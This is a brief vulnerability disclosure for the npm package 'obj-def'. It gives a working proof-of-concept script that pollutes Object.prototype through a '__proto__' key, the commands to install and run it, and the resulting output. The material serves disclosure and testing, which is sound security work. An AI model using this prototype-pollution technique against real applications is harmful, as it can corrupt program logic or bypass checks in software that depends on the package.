obj-def
is vulnerable to Prototype Pollution
.
// poc.js
var objDef = require("obj-def")
var obj ={}
console.log("Before : " + {}.polluted);
objDef(obj, "__proto__", {}).polluted ='Yes! Its Polluted';
console.log("After : " + {}.polluted);
npm i obj-def # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted